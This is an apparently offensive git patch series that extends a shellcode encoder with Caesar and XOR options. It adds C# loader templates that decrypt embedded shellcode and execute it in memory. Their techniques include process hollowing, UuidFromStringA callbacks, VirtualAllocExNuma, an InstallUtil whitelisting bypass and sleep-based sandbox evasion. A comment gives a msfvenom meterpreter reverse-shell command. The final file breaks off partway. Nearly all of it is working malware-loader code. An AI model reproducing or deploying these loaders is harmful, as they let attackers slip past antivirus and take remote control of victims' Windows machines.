From 144963c52b8fc3335e766de64cd8c40eb1760d7c Mon Sep 17 00:00:00 2001 From: m7x Date: Mon, 22 Feb 2021 22:09:33 +0000 Subject: [PATCH 1/8] Add Caesar cipher for CS template only --- shellcode_encoder.py | 22 +++++++++++++++++++++- templates/encryptedShellcodeWrapper.cs | 15 ++++++++++++++- 2 files changed, 35 insertions(+), 2 deletions(-) diff --git a/shellcode_encoder.py b/shellcode_encoder.py index b68a9eb..a4410a3 100644 --- a/shellcode_encoder.py +++ b/shellcode_encoder.py @@ -39,6 +39,18 @@ def xor(data, key): (data[i] ^ keyAsInt[i % l]) for i in range(0,len(data)) ))) +#------------------------------------------------------------------------ +# data as a bytearray +# key as a string +def caesar(data, key): + if not key.isdigit(): + print color("[!] Key must be an integer [{}]".format(key)) + exit() + else: + return bytes(bytearray(( + ((data[i] + int(key)) & 0xFF) for i in range(0,len(data)) + ))) + #------------------------------------------------------------------------ def pad(s): """PKCS7 padding""" @@ -181,7 +193,7 @@ def color(string, color=None): parser = argparse.ArgumentParser() parser.add_argument("shellcodeFile", help="File name containing the raw shellcode to be encoded/encrypted") parser.add_argument("key", help="Key used to transform (XOR or AES encryption) the shellcode") - parser.add_argument("encryptionType", help="Encryption algorithm to apply to the shellcode", choices=['xor','aes']) + parser.add_argument("encryptionType", help="Encryption algorithm to apply to the shellcode",choices=['xor','aes','caesar']) parser.add_argument("-b64", "--base64", help="Display transformed shellcode as base64 encoded string", action="store_true") parser.add_argument("-cpp", "--cplusplus", help="Generates C++ file code", action="store_true") parser.add_argument("-cs", "--csharp", help="Generates C# file code", action="store_true") @@ -226,6 +238,14 @@ def color(string, color=None): transformedShellcode = xor(shellcodeBytes, masterKey) cipherType = 'xor' + #------------------------------------------------------------------------ + # Perform Caeser transformation + elif args.encryptionType == 'caesar': + masterKey = args.key + print color("[*] Caeser encoding the shellcode with key [{}]".format(masterKey)) + transformedShellcode = caesar(shellcodeBytes, masterKey) + cipherType = 'caesar' + #------------------------------------------------------------------------ # Display interim results print "\n==================================== RESULT ====================================\n" diff --git a/templates/encryptedShellcodeWrapper.cs b/templates/encryptedShellcodeWrapper.cs index 74f3101..b232cf2 100644 --- a/templates/encryptedShellcodeWrapper.cs +++ b/templates/encryptedShellcodeWrapper.cs @@ -3,7 +3,8 @@ How to compile: =============== -C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:encryptedShellcodeWrapper_${cipherType}.exe encryptedShellcodeWrapper_${cipherType}.cs +C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /platform:x32 /out:encryptedShellcodeWrapper_${cipherType}.exe encryptedShellcodeWrapper_${cipherType}.cs +C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /platform:x64 /out:encryptedShellcodeWrapper_${cipherType}.exe encryptedShellcodeWrapper_${cipherType}.cs */ @@ -39,6 +40,15 @@ private static byte[] xor(byte[] cipher, byte[] key) { return decrypted; } + private static byte[] caesar(byte[] cipher, int key) { + byte[] decrypted = new byte[cipher.Length]; + + for (int i = 0; i < cipher.Length; i++){ + decrypted[i] = (byte)(((uint)cipher[i] - key) & 0xFF); + } + + return decrypted; + } //-------------------------------------------------------------------------------------------------- // Decrypts the given a plaintext message byte array with a given 128 bits key // Returns the unencrypted message @@ -88,6 +98,9 @@ static void Main() else if (cipherType == "aes") { shellcode = aesDecrypt(encryptedShellcode, Convert.FromBase64String(key)); } + else if (cipherType == "caesar") { + shellcode = caesar(encryptedShellcode, Int32.Parse(key)); + } //-------------------------------------------------------------- // Copy decrypted shellcode to memory From 32d22cb76860cf995c27636d3407b3d310206fdb Mon Sep 17 00:00:00 2001 From: m7x Date: Mon, 22 Feb 2021 23:11:39 +0100 Subject: [PATCH 2/8] Update readme.md --- readme.md | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/readme.md b/readme.md index 283ddb6..42b5cb7 100644 --- a/readme.md +++ b/readme.md @@ -1,3 +1,8 @@ +# ToDo +* [x] Caesar chipher for C# +* [ ] Caesar chipher for C++ +* [ ] Caeser chipher for Python + Mutlibyte XOR or AES encrypted shellcode ============ From 731c6a0537ba076559679c98e878260d374b0c5b Mon Sep 17 00:00:00 2001 From: m7x Date: Sun, 28 Mar 2021 16:01:27 +0100 Subject: [PATCH 3/8] add sleep mode --- shellcode_encoder.py | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/shellcode_encoder.py b/shellcode_encoder.py index a4410a3..55de5c9 100644 --- a/shellcode_encoder.py +++ b/shellcode_encoder.py @@ -16,12 +16,14 @@ templates = { 'cpp': './templates/encryptedShellcodeWrapper.cpp', 'csharp': './templates/encryptedShellcodeWrapper.cs', + 'csharp-xor': './templates/encryptedShellcode_xor.cs', 'python': './templates/encryptedShellcodeWrapper.py' } resultFiles = { 'cpp': './result/encryptedShellcodeWrapper.cpp', 'csharp': './result/encryptedShellcodeWrapper.cs', + 'csharp-xor': './result/encryptedShellcode_xor.cs', 'python': './result/encryptedShellcodeWrapper.py' } @@ -110,7 +112,11 @@ def formatCPP(data, key, cipherType): def formatCSharp(data, key, cipherType): shellcode = '0x' shellcode += ',0x'.join(format(ord(b),'02x') for b in data) - result = convertFromTemplate({'shellcode': shellcode, 'key': key, 'cipherType': cipherType}, templates['csharp']) + + if cipherType == "xor": + result = convertFromTemplate({'shellcode': shellcode, 'key': key, 'cipherType': cipherType}, templates['csharp-xor']) + else: + result = convertFromTemplate({'shellcode': shellcode, 'key': key, 'cipherType': cipherType}, templates['csharp']) if result != None: try: From 138101d6950f8733f587095224585a769a9db611 Mon Sep 17 00:00:00 2001 From: m7x Date: Sun, 28 Mar 2021 16:02:44 +0100 Subject: [PATCH 4/8] updated requirements --- requirements.txt | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/requirements.txt b/requirements.txt index 299326b..77e4d18 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,2 +1,2 @@ -pycrypto -pyscrypt \ No newline at end of file +pycryptodome +pyscrypt From 171247d40260cb689ca05f2aa181511ee71f96a7 Mon Sep 17 00:00:00 2001 From: m7x Date: Sun, 28 Mar 2021 16:06:39 +0100 Subject: [PATCH 5/8] add xor template --- templates/encryptedShellcode_xor.cs | 87 +++++++++++++++++++++++++++++ 1 file changed, 87 insertions(+) create mode 100755 templates/encryptedShellcode_xor.cs diff --git a/templates/encryptedShellcode_xor.cs b/templates/encryptedShellcode_xor.cs new file mode 100755 index 0000000..2775aec --- /dev/null +++ b/templates/encryptedShellcode_xor.cs @@ -0,0 +1,87 @@ +/* +Author: Arno0x0x, Twitter: @Arno0x0x + +How to compile: +=============== +C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /platform:x32 /out:encryptedShellcodeWrapper_${cipherType}.exe encryptedShellcodeWrapper_${cipherType}.cs +C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /platform:x64 /out:encryptedShellcodeWrapper_${cipherType}.exe encryptedShellcodeWrapper_${cipherType}.cs + +*/ + +using System; +using System.Text; +using System.Runtime.InteropServices; + +namespace RunShellCode +{ + static class Program + { + //============================================================================== + // CRYPTO FUNCTIONS + //============================================================================== + private static byte[] xor(byte[] cipher, byte[] key) { + byte[] decrypted = new byte[cipher.Length]; + + for(int i = 0; i < cipher.Length; i++) { + decrypted[i] = (byte) (cipher[i] ^ key[i % key.Length]); + } + + return decrypted; + } + + //============================================================================== + // MAIN FUNCTION + //============================================================================== + static void Main() + { + DateTime t1 = DateTime.Now; + Sleep(5000); + double t2 = DateTime.Now.Subtract(t1).TotalSeconds; + if (t2 < 1.5) + { + return; + } + + byte[] encryptedShellcode = new byte[] { ${shellcode} }; + string key = "${key}"; + + //-------------------------------------------------------------- + // Decrypt the shellcode + byte[] shellcode = null; + shellcode = xor(encryptedShellcode, Encoding.ASCII.GetBytes(key)); + + //-------------------------------------------------------------- + // Copy decrypted shellcode to memory + IntPtr funcAddr = VirtualAlloc(IntPtr.Zero, (UInt32)shellcode.Length, 0x1000, 0x40); + //UInt32 funcAddr = VirtualAlloc(0, 0x1000, 0x3000, 0x40); + Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length); + + // Prepare data + IntPtr pinfo = IntPtr.Zero; + + // Invoke the shellcode + IntPtr hThread = CreateThread(IntPtr.Zero, 0, funcAddr, pinfo, 0, IntPtr.Zero); + + DateTime t3 = DateTime.Now; + Sleep(5000); + double t4 = DateTime.Now.Subtract(t3).TotalSeconds; + if (t4 < 1.5) + { + return; + } + WaitForSingleObject(hThread, 0xFFFFFFFF); + return; + } + + [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] + static extern void Sleep(uint dwMilliseconds); + + // The usual Win32 API trio functions: VirtualAlloc, CreateThread, WaitForSingleObject + [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] + static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); + [DllImport("kernel32.dll")] + static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); + [DllImport("kernel32.dll")] + static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); + } +} From d118f3e9eb0b1fb79d2f39919f83cf864aaa8df2 Mon Sep 17 00:00:00 2001 From: m7x Date: Fri, 12 Aug 2022 15:04:09 +0200 Subject: [PATCH 6/8] Update shellcodewrapper --- shellcode_encoder.py | 85 +++++++++++++++++++++++++---- templates/encryptedShellcode_xor.cs | 2 +- 2 files changed, 74 insertions(+), 13 deletions(-) diff --git a/shellcode_encoder.py b/shellcode_encoder.py index 55de5c9..f937204 100644 --- a/shellcode_encoder.py +++ b/shellcode_encoder.py @@ -17,13 +17,21 @@ 'cpp': './templates/encryptedShellcodeWrapper.cpp', 'csharp': './templates/encryptedShellcodeWrapper.cs', 'csharp-xor': './templates/encryptedShellcode_xor.cs', + 'csharp-xor-hollowing': './templates/encryptedShellcode_xor_hollowing.cs', + 'csharp-xor-VirtualAllocExNuma':'./templates/encryptedShellcode_xor_VirtualAllocExNuma.cs', + 'csharp-xor-InstallUtils':'./templates/encryptedShellcode_xor_InstallUtils.cs', + 'csharp-xor-UuidFromStringA':'./templates/encryptedShellcode_xor_UuidFromStringA.cs', 'python': './templates/encryptedShellcodeWrapper.py' } resultFiles = { 'cpp': './result/encryptedShellcodeWrapper.cpp', 'csharp': './result/encryptedShellcodeWrapper.cs', - 'csharp-xor': './result/encryptedShellcode_xor.cs', + 'csharp-xor': './result/encryptedShellcode_xor.cs', + 'csharp-xor-hollowing': './result/encryptedShellcode_xor_hollowing.cs', + 'csharp-xor-VirtualAllocExNuma':'./result/encryptedShellcode_xor_VirtualAllocExNuma.cs', + 'csharp-xor-InstallUtils':'./result/encryptedShellcode_xor_InstallUtils.cs', + 'csharp-xor-UuidFromStringA':'./result/encryptedShellcode_xor_UuidFromStringA.cs', 'python': './result/encryptedShellcodeWrapper.py' } @@ -115,18 +123,71 @@ def formatCSharp(data, key, cipherType): if cipherType == "xor": result = convertFromTemplate({'shellcode': shellcode, 'key': key, 'cipherType': cipherType}, templates['csharp-xor']) + if result != None: + try: + fileName = os.path.splitext(resultFiles['csharp-xor'])[0] + os.path.splitext(resultFiles['csharp-xor'])[1] + with open(fileName,"w+") as f: + f.write(result) + f.close() + print color("[+] C# code file saved in [{}]".format(fileName)) + except IOError: + print color("[!] Could not write C# code [{}]".format(fileName)) + + result = convertFromTemplate({'shellcode': shellcode, 'key': key, 'cipherType': cipherType}, templates['csharp-xor-hollowing']) + if result != None: + try: + fileName = os.path.splitext(resultFiles['csharp-xor-hollowing'])[0] + os.path.splitext(resultFiles['csharp-xor-hollowing'])[1] + with open(fileName,"w+") as f: + f.write(result) + f.close() + print color("[+] C# code file saved in [{}]".format(fileName)) + except IOError: + print color("[!] Could not write C# code [{}]".format(fileName)) + + result = convertFromTemplate({'shellcode': shellcode, 'key': key, 'cipherType': cipherType}, templates['csharp-xor-VirtualAllocExNuma']) + if result != None: + try: + fileName = os.path.splitext(resultFiles['csharp-xor-VirtualAllocExNuma'])[0] + os.path.splitext(resultFiles['csharp-xor-VirtualAllocExNuma'])[1] + with open(fileName,"w+") as f: + f.write(result) + f.close() + print color("[+] C# code file saved in [{}]".format(fileName)) + except IOError: + print color("[!] Could not write C# code [{}]".format(fileName)) + + result = convertFromTemplate({'shellcode': shellcode, 'key': key, 'cipherType': cipherType}, templates['csharp-xor-InstallUtils']) + if result != None: + try: + fileName = os.path.splitext(resultFiles['csharp-xor-InstallUtils'])[0] + os.path.splitext(resultFiles['csharp-xor-InstallUtils'])[1] + with open(fileName,"w+") as f: + f.write(result) + f.close() + print color("[+] C# code file saved in [{}]".format(fileName)) + except IOError: + print color("[!] Could not write C# code [{}]".format(fileName)) + + result = convertFromTemplate({'shellcode': shellcode, 'key': key, 'cipherType': cipherType}, templates['csharp-xor-UuidFromStringA']) + if result != None: + try: + fileName = os.path.splitext(resultFiles['csharp-xor-UuidFromStringA'])[0] + os.path.splitext(resultFiles['csharp-xor-UuidFromStringA'])[1] + with open(fileName,"w+") as f: + f.write(result) + f.close() + print color("[+] C# code file saved in [{}]".format(fileName)) + except IOError: + print color("[!] Could not write C# code [{}]".format(fileName)) else: - result = convertFromTemplate({'shellcode': shellcode, 'key': key, 'cipherType': cipherType}, templates['csharp']) - - if result != None: - try: - fileName = os.path.splitext(resultFiles['csharp'])[0] + "_" + cipherType + os.path.splitext(resultFiles['csharp'])[1] - with open(fileName,"w+") as f: - f.write(result) - f.close() - print color("[+] C# code file saved in [{}]".format(fileName)) - except IOError: - print color("[!] Could not write C# code [{}]".format(fileName)) + result = convertFromTemplate({'shellcode': shellcode, 'key': key, 'cipherType': cipherType}, templates['csharp']) + + if result != None: + try: + fileName = os.path.splitext(resultFiles['csharp'])[0] + "_" + cipherType + os.path.splitext(resultFiles['csharp'])[1] + with open(fileName,"w+") as f: + f.write(result) + f.close() + print color("[+] C# code file saved in [{}]".format(fileName)) + except IOError: + print color("[!] Could not write C# code [{}]".format(fileName)) #------------------------------------------------------------------------ # data as a bytearray diff --git a/templates/encryptedShellcode_xor.cs b/templates/encryptedShellcode_xor.cs index 2775aec..ced5e9e 100755 --- a/templates/encryptedShellcode_xor.cs +++ b/templates/encryptedShellcode_xor.cs @@ -53,7 +53,7 @@ static void Main() //-------------------------------------------------------------- // Copy decrypted shellcode to memory IntPtr funcAddr = VirtualAlloc(IntPtr.Zero, (UInt32)shellcode.Length, 0x1000, 0x40); - //UInt32 funcAddr = VirtualAlloc(0, 0x1000, 0x3000, 0x40); + Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length); // Prepare data From 349655e86f2008ff1605f3e7036eaba72a1d7e80 Mon Sep 17 00:00:00 2001 From: m7x Date: Fri, 12 Aug 2022 15:35:59 +0200 Subject: [PATCH 7/8] Add templates --- .../encryptedShellcode_xor_InstallUtils.cs | 98 ++++++++++ .../encryptedShellcode_xor_UuidFromStringA.cs | 162 ++++++++++++++++ ...cryptedShellcode_xor_VirtualAllocExNuma.cs | 100 ++++++++++ templates/encryptedShellcode_xor_hollowing.cs | 176 ++++++++++++++++++ 4 files changed, 536 insertions(+) create mode 100755 templates/encryptedShellcode_xor_InstallUtils.cs create mode 100755 templates/encryptedShellcode_xor_UuidFromStringA.cs create mode 100755 templates/encryptedShellcode_xor_VirtualAllocExNuma.cs create mode 100755 templates/encryptedShellcode_xor_hollowing.cs diff --git a/templates/encryptedShellcode_xor_InstallUtils.cs b/templates/encryptedShellcode_xor_InstallUtils.cs new file mode 100755 index 0000000..cedb9a2 --- /dev/null +++ b/templates/encryptedShellcode_xor_InstallUtils.cs @@ -0,0 +1,98 @@ +/* +Author: Arno0x0x, Twitter: @Arno0x0x + +How to compile: +=============== +C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /platform:x32 /reference:C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll /out:install_wrapper_Test.exe encryptedShellcode_xor_InstallUtils.cs +C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /platform:x64 /reference:C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll /out:install_wrapper_Test.exe encryptedShellcode_xor_InstallUtils.cs + +*/ + +//InstallUtil_Wrapper.cs +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Diagnostics; +using System.Runtime.InteropServices; +using System.Management.Automation; +using System.Management.Automation.Runspaces; +using System.Configuration.Install; +using System.Data.SqlClient; + +/* C# Win .NET Application + * Right-click in References in Solution Explorer -> Add Reference -> Assemblies -> System.Configuration.Install + * Also manually add -> Add Reference -> Browse -> + * C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll + */ + +namespace InstallUtil_Wrapper +{ + class Program + { + static void Main(string[] args) + { + Console.WriteLine("This is the main method which is a decoy"); + } + } + + //C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\InstallUtil_Wrapper.exe + [System.ComponentModel.RunInstaller(true)] + public class Sample : System.Configuration.Install.Installer + { + [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] + static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); + [DllImport("kernel32.dll")] + static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); + [DllImport("kernel32.dll")] + static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); + [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] + static extern void Sleep(uint dwMilliseconds); + + private static byte[] xor(byte[] cipher, byte[] key) + { + byte[] decrypted = new byte[cipher.Length]; + + for (int i = 0; i < cipher.Length; i++) + { + decrypted[i] = (byte)(cipher[i] ^ key[i % key.Length]); + } + + return decrypted; + } + + public override void Uninstall(System.Collections.IDictionary savedState) + { + DateTime t1 = DateTime.Now; + Sleep(5000); + double t2 = DateTime.Now.Subtract(t1).TotalSeconds; + if (t2 < 1.5) + { + return; + } + //msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=443 -f csharp + byte[] encryptedShellcode = new byte[] { ${shellcode} }; + string key = "${key}"; + byte[] shellcode = null; + shellcode = xor(encryptedShellcode, Encoding.ASCII.GetBytes(key)); + + IntPtr addr = VirtualAlloc(IntPtr.Zero, (UInt32)shellcode.Length, 0x1000, 0x40); + Marshal.Copy(shellcode, 0, addr, shellcode.Length); + + IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); + + DateTime t3 = DateTime.Now; + Sleep(5000); + double t4 = DateTime.Now.Subtract(t3).TotalSeconds; + if (t4 < 1.5) + { + return; + } + WaitForSingleObject(hThread, 0xFFFFFFFF); + + } + } +} + + diff --git a/templates/encryptedShellcode_xor_UuidFromStringA.cs b/templates/encryptedShellcode_xor_UuidFromStringA.cs new file mode 100755 index 0000000..9ea8bfd --- /dev/null +++ b/templates/encryptedShellcode_xor_UuidFromStringA.cs @@ -0,0 +1,162 @@ +/* +Author: Arno0x0x, Twitter: @Arno0x0x + +How to compile: +=============== +C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /platform:x32 /out:encryptedShellcodeWrapper_${cipherType}.exe encryptedShellcodeWrapper_${cipherType}.cs +C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /platform:x64 /out:encryptedShellcodeWrapper_${cipherType}.exe encryptedShellcodeWrapper_${cipherType}.cs + +*/ + +using System; +using System.Text; +using System.Runtime.InteropServices; + +namespace RunShellCode +{ + static class Program + { + //============================================================================== + // CRYPTO FUNCTIONS + //============================================================================== + private static byte[] xor(byte[] cipher, byte[] key) { + byte[] decrypted = new byte[cipher.Length]; + + for(int i = 0; i < cipher.Length; i++) { + decrypted[i] = (byte) (cipher[i] ^ key[i % key.Length]); + } + + return decrypted; + } + + //============================================================================== + // MAIN FUNCTION + //============================================================================== + static void Main() + { + DateTime t1 = DateTime.Now; + Sleep(5000); + double t2 = DateTime.Now.Subtract(t1).TotalSeconds; + if (t2 < 1.5) + { + return; + } + + byte[] encryptedShellcode = new byte[] { ${shellcode} }; + string key = "${key}"; + + //-------------------------------------------------------------- + // Decrypt the shellcode + byte[] shellcode = null; + shellcode = xor(encryptedShellcode, Encoding.ASCII.GetBytes(key)); + + if ((shellcode.Length % 16) != 0) { + Console.WriteLine("Shellcode length not a multiply of 16"); + int NullBiteRequired = (16 - (shellcode.Length % 16)); + Console.WriteLine("NullBiteRequired {0}", NullBiteRequired); + Array.Resize(ref shellcode, shellcode.Length + NullBiteRequired); + } + + System.Collections.Generic.List list = new System.Collections.Generic.List(); + + String[] buff1 = new string[4]; + String[] buff2 = new string[2]; + String[] buff3 = new string[2]; + String[] buff4 = new string[2]; + String[] buff5 = new string[6]; + + for (int i = 0; i < (shellcode.Length - 14); i++) { + + for (int t = 0; t < 4; t++) { + buff1[t] = shellcode[t + i].ToString("x2"); + } + System.Array.Reverse(buff1); + + for (int t = 0; t < 2; t++) { + buff2[t] = shellcode[t + 4 + i].ToString("x2"); + } + System.Array.Reverse(buff2); + + for (int t = 0; t < 2; t++) { + buff3[t] = shellcode[t + 6 + i].ToString("x2"); + } + System.Array.Reverse(buff3); + + for (int t = 0; t < 2; t++) + { + buff4[t] = shellcode[t + 8 + i].ToString("x2"); + } + + for (int t = 0; t < 6; t++) + { + buff5[t] = shellcode[t + 10 + i].ToString("x2"); + } + + list.Add(string.Join("-", string.Join("", buff1), string.Join("", buff2), string.Join("", buff3), string.Join("", buff4), string.Join("", buff5))); + + i += 15; + } + + String[] uuids = list.ToArray(); + + IntPtr HeapCreateH = HeapCreate(0x00040000, 0, 0); + + if (HeapCreateH != null) + { + Console.Write("[+] Success HeapCreateH: 0x{0}", HeapCreateH.ToString("x2")); + } + + IntPtr HeapAllocH = HeapAlloc(HeapCreateH, 0, 0x00100000); + if (HeapAllocH != null) + { + Console.Write("\n[+] Success HeapAllocH : 0x{0}", HeapAllocH.ToString("x2")); + } + + IntPtr newHeapAddr = HeapCreateH; + System.Console.Write("\n[+] Uuids:"); + foreach (String uuid in uuids) + { + Console.Write("\n{0} ", uuid); + Console.Write("\n[+] Success HeapAllocH : 0x{0}", HeapAllocH.ToString("x2")); + Console.Write("\n[+] Success newHeapAddr : 0x{0}", newHeapAddr.ToString("x2")); + IntPtr status = UuidFromStringA(uuid, newHeapAddr); + if (status.ToInt32() == 0) + { + System.Console.Write("\n[+] Success UuidFromStringA : {0}", status); + } + newHeapAddr += 16; + } + + DateTime t3 = DateTime.Now; + Sleep(5000); + double t4 = DateTime.Now.Subtract(t3).TotalSeconds; + if (t4 < 1.5) + { + return; + } + + IntPtr EnumSystemLocalesAH = EnumSystemLocalesA(HeapCreateH, 0); + + return; + } + + // MSDN HeapCreate https://docs.microsoft.com/en-us/windows/win32/api/heapapi/nf-heapapi-heapcreate + [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] + static extern IntPtr HeapCreate(uint flOptions, uint dwInitialSize, uint dwMaximumSize); + + // MSDN HeapAlloc https://docs.microsoft.com/en-us/windows/win32/api/heapapi/nf-heapapi-heapalloc + [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] + static extern IntPtr HeapAlloc(IntPtr hHeap, uint dwFlags, uint dwBytes); + + // MSDN UuidFromStringA https://docs.microsoft.com/en-us/windows/win32/api/rpcdce/nf-rpcdce-uuidfromstringa + [DllImport("Rpcrt4.dll", SetLastError = true, ExactSpelling = true)] + static extern IntPtr UuidFromStringA(String StringUuid, IntPtr UUID); + + // MSDN EnumSystemLocalesA https://docs.microsoft.com/en-us/windows/win32/api/winnls/nf-winnls-enumsystemlocalesa + [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] + static extern IntPtr EnumSystemLocalesA(IntPtr lpLocaleEnumProc, uint dwFlags); + + [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] + static extern void Sleep(uint dwMilliseconds); + } +} diff --git a/templates/encryptedShellcode_xor_VirtualAllocExNuma.cs b/templates/encryptedShellcode_xor_VirtualAllocExNuma.cs new file mode 100755 index 0000000..ab8a4ad --- /dev/null +++ b/templates/encryptedShellcode_xor_VirtualAllocExNuma.cs @@ -0,0 +1,100 @@ +/* +Author: Arno0x0x, Twitter: @Arno0x0x + +How to compile: +=============== +C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /platform:x32 /out:encryptedShellcodeWrapper_xor.exe encryptedShellcodeWrapper_xor.cs +C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /platform:x64 /out:encryptedShellcodeWrapper_xor.exe encryptedShellcodeWrapper_xor.cs + +*/ + +using System; +using System.Text; +using System.Runtime.InteropServices; + +namespace RunShellCode +{ + static class Program + { + //============================================================================== + // CRYPTO FUNCTIONS + //============================================================================== + private static byte[] xor(byte[] cipher, byte[] key) { + byte[] decrypted = new byte[cipher.Length]; + + for(int i = 0; i < cipher.Length; i++) { + decrypted[i] = (byte) (cipher[i] ^ key[i % key.Length]); + } + + return decrypted; + } + + //============================================================================== + // MAIN FUNCTION + //============================================================================== + static void Main() + { + DateTime t1 = DateTime.Now; + Sleep(5000); + double t2 = DateTime.Now.Subtract(t1).TotalSeconds; + if (t2 < 1.5) + { + return; + } + + IntPtr result = FlsAlloc(IntPtr.Zero); + if (result == (IntPtr)0xffffff) + { + return; + } + + byte[] encryptedShellcode = new byte[] { ${shellcode} }; + string key = "${key}"; + + //-------------------------------------------------------------- + // Decrypt the shellcode + byte[] shellcode = null; + shellcode = xor(encryptedShellcode, Encoding.ASCII.GetBytes(key)); + + //-------------------------------------------------------------- + IntPtr funcAddr = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x40, 0); + if (funcAddr == null) + { + return; + } + Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length); + + // Prepare data + IntPtr pinfo = IntPtr.Zero; + + // Invoke the shellcode + IntPtr hThread = CreateThread(IntPtr.Zero, 0, funcAddr, pinfo, 0, IntPtr.Zero); + + DateTime t3 = DateTime.Now; + Sleep(5000); + double t4 = DateTime.Now.Subtract(t3).TotalSeconds; + if (t4 < 1.5) + { + return; + } + WaitForSingleObject(hThread, 0xFFFFFFFF); + return; + } + + [DllImport("kernel32.dll", SetLastError = true)] + static extern IntPtr FlsAlloc(IntPtr callback); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern IntPtr GetCurrentProcess(); + + [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] + static extern void Sleep(uint dwMilliseconds); + + [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] + static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred); + [DllImport("kernel32.dll")] + static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); + [DllImport("kernel32.dll")] + static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); + } +} diff --git a/templates/encryptedShellcode_xor_hollowing.cs b/templates/encryptedShellcode_xor_hollowing.cs new file mode 100755 index 0000000..33b8b11 --- /dev/null +++ b/templates/encryptedShellcode_xor_hollowing.cs @@ -0,0 +1,176 @@ +/* +How to compile: +=============== + +C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /platform:x64 /out:encryptedShellcode_${cipherType}_hollowing.exe encryptedShellcodeWrapper_${cipherType}_hollowing.cs + +*/ +using System; +using System.Text; +using System.Runtime.InteropServices; + +namespace ProcessHollowing +{ + public class Program + { + public const uint CREATE_SUSPENDED = 0x4; + public const int PROCESSBASICINFORMATION = 0; + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] + public struct ProcessInfo + { + public IntPtr hProcess; + public IntPtr hThread; + public Int32 ProcessId; + public Int32 ThreadId; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] + public struct StartupInfo + { + public uint cb; + public string lpReserved; + public string lpDesktop; + public string lpTitle; + public uint dwX; + public uint dwY; + public uint dwXSize; + public uint dwYSize; + public uint dwXCountChars; + public uint dwYCountChars; + public uint dwFillAttribute; + public uint dwFlags; + public short wShowWindow; + public short cbReserved2; + public IntPtr lpReserved2; + public IntPtr hStdInput; + public IntPtr hStdOutput; + public IntPtr hStdError; + } + + [StructLayout(LayoutKind.Sequential)] + internal struct ProcessBasicInfo + { + public IntPtr Reserved1; + public IntPtr PebAddress; + public IntPtr Reserved2; + public IntPtr Reserved3; + public IntPtr UniquePid; + public IntPtr MoreReserved; + } + + [DllImport("kernel32.dll")] + static extern void Sleep(uint dwMilliseconds); + + [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)] + static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, + IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, + [In] ref StartupInfo lpStartupInfo, out ProcessInfo lpProcessInformation); + + [DllImport("ntdll.dll", 